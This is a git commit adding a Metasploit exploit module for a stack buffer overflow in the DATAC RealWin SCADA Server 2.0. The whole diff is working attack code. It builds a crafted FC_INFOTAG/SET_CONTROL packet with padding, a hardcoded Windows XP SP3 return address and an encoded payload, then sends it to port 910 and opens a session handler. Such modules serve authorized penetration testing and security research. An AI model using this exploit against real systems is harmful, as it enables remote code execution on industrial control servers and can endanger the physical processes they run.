added exploit module realwin.rb

git-svn-id: file:///home/svn/framework3/trunk@5699 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/scada/realwin.rb

@@ -0,0 +1,79 @@
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Scada::RealWin < Msf::Exploit::Remote
+
+	include Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'DATAC RealWin SCADA Server Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack overflow in DATAC Control
+					International RealWin SCADA Server 2.0 (Build 6.0.10.37). 
+					By sending a specially crafted FC_INFOTAG/SET_CONTROL packet, 
+					an attacker may be able to execute arbitrary code. 
+			},
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,			
+			'Version'        => '$Revision:$',
+			'References'     => 
+				[ 
+					[ 'BID', '31418' ],
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 550,
+					'BadChars' => "\x00\x20\x0a\x0d",
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP Pro SP3 English', { 'Ret' => 0x7e4926c7 } ], # 09/30/08
+				],
+			'DefaultTarget' => 0,
+			'DisclosureDate' => 'Sep 26 2008'))
+
+			register_options([Opt::RPORT(910)], self.class)
+
+	end
+
+	def exploit
+		connect
+		
+		data =  [0x67542310].pack('V')
+		data << [0x00000800].pack('V')
+		data << [0x000a77e3].pack('V')
+		data << [0x00040005].pack('V')
+		data << "\x00\x00" 
+		data << rand_text_alpha_upper(740) 
+		data << [target.ret].pack('V')
+		data << [0x00404040].pack('V')
+		data << payload.encoded 
+		data << rand_text_alpha_upper(1024) 
+
+		print_status("Trying target #{target.name}...")	
+		sock.get_once	
+		sock.put(data)
+
+		handler
+		disconnect
+	end
+
+end
+end